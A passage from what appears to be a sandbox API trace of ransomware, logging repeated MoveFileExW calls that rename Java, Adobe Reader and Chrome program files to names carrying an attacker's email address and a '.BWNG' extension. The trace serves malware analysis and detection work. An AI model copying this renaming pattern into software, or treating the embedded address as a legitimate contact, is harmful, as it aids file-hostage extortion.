(x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].nOILXT79-QZ0oETFj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].noilxt79-qz0oetfj.bwng"), dwFlags=0x1) returned 1 [0110.569] GetTickCount () returned 0x11634d7 [0110.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252108536) returned 1 [0110.569] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Mendoza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\mendoza"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].XRo6wz8g-3hLKvMdc.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].xro6wz8g-3hlkvmdc.bwng"), dwFlags=0x1) returned 1 [0110.571] GetTickCount () returned 0x11634d7 [0110.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252276526) returned 1 [0110.571] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\bahia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].u1RRgNsG-Onv72I1B.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].u1rrgnsg-onv72i1b.bwng"), dwFlags=0x1) returned 1 [0110.572] GetTickCount () returned 0x11634d7 [0110.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252398089) returned 1 [0110.572] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Campo_Grande" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\campo_grande"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Zoux5dmf-Y7ol1ICv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].zoux5dmf-y7ol1icv.bwng"), dwFlags=0x1) returned 1 [0110.573] GetTickCount () returned 0x11634e6 [0110.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252541901) returned 1 [0110.573] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Curacao" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\curacao"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].DOghYpRM-Wsta9vQS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].doghyprm-wsta9vqs.bwng"), dwFlags=0x1) returned 1 [0110.574] GetTickCount () returned 0x11634e6 [0110.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252671248) returned 1 [0110.575] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\fortaleza"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Wm7hKtm2-6ML7yPLA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].wm7hktm2-6ml7ypla.bwng"), dwFlags=0x1) returned 1 [0110.576] GetTickCount () returned 0x11634e6 [0110.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252801858) returned 1 [0110.576] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].Rs1rF7R7-y5B3LprN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].rs1rf7r7-y5b3lprn.bwng"), dwFlags=0x1) returned 1 [0110.577] GetTickCount () returned 0x11634e6 [0110.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25252939198) returned 1 [0110.577] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\[billwong73@yahoo.com].FxvIj6sv-N0OxtylV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\[billwong73@yahoo.com].fxvij6sv-n0oxtylv.bwng"), dwFlags=0x1) returned 1 [0110.578] GetTickCount () returned 0x11634e6 [0110.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253071046) returned 1 [0110.579] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].WsT2i9Ah-JuTl8Te0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].wst2i9ah-jutl8te0.bwng"), dwFlags=0x1) returned 1 [0110.580] GetTickCount () returned 0x11634e6 [0110.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253206512) returned 1 [0110.580] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].FvWiuos2-I247yW1e.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\[billwong73@yahoo.com].fvwiuos2-i247yw1e.bwng"), dwFlags=0x1) returned 1 [0110.581] GetTickCount () returned 0x11634e6 [0110.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253362894) returned 1 [0110.582] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\[billwong73@yahoo.com].o2aBkog8-GcTi2pbg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\[billwong73@yahoo.com].o2abkog8-gcti2pbg.bwng"), dwFlags=0x1) returned 1 [0110.583] GetTickCount () returned 0x11634e6 [0110.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253491206) returned 1 [0110.583] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\[billwong73@yahoo.com].840MysoS-0eBBlTy6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\[billwong73@yahoo.com].840mysos-0ebblty6.bwng"), dwFlags=0x1) returned 1 [0110.584] GetTickCount () returned 0x11634e6 [0110.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253611054) returned 1 [0110.584] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\srgb.pf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].ooa5v7rK-2fRB5AVD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].ooa5v7rk-2frb5avd.bwng"), dwFlags=0x1) returned 1 [0110.586] GetTickCount () returned 0x11634e6 [0110.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253794919) returned 1 [0110.586] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].CqJ6pMoC-rAhtaCgC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].cqj6pmoc-rahtacgc.bwng"), dwFlags=0x1) returned 1 [0110.587] GetTickCount () returned 0x11634e6 [0110.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25253938922) returned 1 [0110.587] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].rQWDAoxy-GDDP3Nm7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].rqwdaoxy-gddp3nm7.bwng"), dwFlags=0x1) returned 1 [0110.588] GetTickCount () returned 0x11634e6 [0110.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25254064081) returned 1 [0110.589] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\58.0.3029.110.manifest"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].dfUa6zCN-rxmd0x8K.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].dfua6zcn-rxmd0x8k.bwng"), dwFlags=0x1) returned 1 [0110.590] GetTickCount () returned 0x11634f6 [0110.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25254202875) returned 1 [0110.590] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].FAfohvD1-1kObFrsY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].fafohvd1-1kobfrsy.bwng"), dwFlags=0x1) returned 1 [0110.591] GetTickCount () returned 0x11634f6 [0110.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25254327645) returned 1 [0110.591] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\[billwong73@yahoo.com].RhLT8spm-UhRoayou.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\[billwong73@yahoo.com].rhlt8spm-uhroayou.bwng"), dwFlags=0x1) returned 1 [0110.593] GetTickCount () returned 0x11634f6 [0110.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25254478880) returned 1 [0110.593] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_ja.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].kyrBF2sC-aW6Z7bLF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].kyrbf2sc-aw6z7blf.bwng"), dwFlags=0x1) returned 1 [0110.594] GetTickCount () returned 0x11634f6 [0110.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25254608918) returned 1 [0110.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-italic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].HQiCUBse-qgEcdXKV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].hqicubse-qgecdxkv.bwng"), dwFlags=0x1) returned 1 [0110.595] GetTickCount () returned 0x11634f6 [0110.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25254744452) returned 1 [0110.595] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\youtube.crx"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].vOMpgiz8-J2er1h2U.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].vompgiz8-j2er1h2u.bwng"), dwFlags=0x1) returned 1 [0110.600] GetTickCount () returned 0x11634f6 [0110.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25256179528) returned 1 [0110.917] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].y8ttH07y-Ag3kGdYs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].y8tth07y-ag3kgdys.bwng"), dwFlags=0x1) returned 1 [0110.920] GetTickCount () returned 0x116363d [0110.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25287250284) returned 1 [0110.921] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].5k96Aqic-ImBdzNLs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].5k96aqic-imbdznls.bwng"), dwFlags=0x1) returned 1 [0110.923] GetTickCount () returned 0x116363d [0110.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25287657896) returned 1 [0110.925] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].LYeBcEHu-xNnKkUxD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].lyebcehu-xnnkkuxd.bwng"), dwFlags=0x1) returned 1 [0110.926] GetTickCount () returned 0x116363d [0110.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25287830329) returned 1 [0110.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\[billwong73@yahoo.com].4Q2GMBNS-M0JhcWeS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\[billwong73@yahoo.com].4q2gmbns-m0jhcwes.bwng"), dwFlags=0x1) returned 1 [0110.928] GetTickCount () returned 0x116363d [0110.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25288011800) returned 1 [0110.928] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].CyRbUZ6m-oCnmyYYR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].cyrbuz6m-ocnmyyyr.bwng"), dwFlags=0x1) returned 1 [0110.930] GetTickCount () returned 0x116363d [0110.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25288181276) returned 1 [0110.930] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.bfc"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].8D0lhj9U-maN6PZ7M.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].8d0lhj9u-man6pz7m.bwng"), dwFlags=0x1) returned 1 [0110.931] GetTickCount () returned 0x116363d [0110.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25288351294) returned 1 [0110.932] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].sAd4yeXF-4FAug0XU.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].sad4yexf-4faug0xu.bwng"), dwFlags=0x1) returned 1 [0110.934] GetTickCount () returned 0x116364d [0110.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25288643576) returned 1 [0110.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].fCyK1UCZ-KB7U0Hei.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].fcyk1ucz-kb7u0hei.bwng"), dwFlags=0x1) returned 1 [0110.935] GetTickCount () returned 0x116364d [0110.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25288775187) returned 1 [0110.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\[billwong73@yahoo.com].zU1Lntot-a4glOkTu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\[billwong73@yahoo.com].zu1lntot-a4gloktu.bwng"), dwFlags=0x1) returned 1 [0110.937] GetTickCount () returned 0x116364d [0110.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25288934530) returned 1 [0110.937] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].s8izjH3a-E2AkoTdF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].s8izjh3a-e2akotdf.bwng"), dwFlags=0x1) returned 1 [0110.939] GetTickCount () returned 0x116364d [0110.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25289079398) returned 1 [0110.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].ndxie4Co-8PN4KOjL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].ndxie4co-8pn4kojl.bwng"), dwFlags=0x1) returned 1 [0110.940] GetTickCount () returned 0x116364d [0110.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25289207291) returned 1 [0110.940] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\[billwong73@yahoo.com].duMzieuI-Jsx8HdUx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\[billwong73@yahoo.com].dumzieui-jsx8hdux.bwng"), dwFlags=0x1) returned 1 [0110.941] GetTickCount () returned 0x116364d [0110.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25289363724) returned 1 [0110.942] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].7WK8vjnc-ydvYdcPd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].7wk8vjnc-ydvydcpd.bwng"), dwFlags=0x1) returned 1 [0110.943] GetTickCount () returned 0x116364d [0110.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25289574894) returned 1 [0110.944] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].R3OAMPlw-DRCkj8Sv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].r3oamplw-drckj8sv.bwng"), dwFlags=0x1) returned 1 [0110.945] GetTickCount () returned 0x116364d [0110.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25289725096) returned 1 [0110.945] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\[billwong73@yahoo.com].zwooyhRn-wVctzPgt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\[billwong73@yahoo.com].zwooyhrn-wvctzpgt.bwng"), dwFlags=0x1) returned 1 [0110.947] GetTickCount () returned 0x116364d [0110.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25289891746) returned 1 [0110.947] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].H9EJUIyG-Q5pfACZN.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].h9ejuiyg-q5pfaczn.bwng"), dwFlags=0x1) returned 1 [0111.091] GetTickCount () returned 0x11636e9 [0111.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25304358984) returned 1 [0111.092] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].mi62ocOk-YZKSHnBR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].mi62ocok-yzkshnbr.bwng"), dwFlags=0x1) returned 1 [0111.093] GetTickCount () returned 0x11636e9 [0111.093] QueryPerformanceCounter (in: 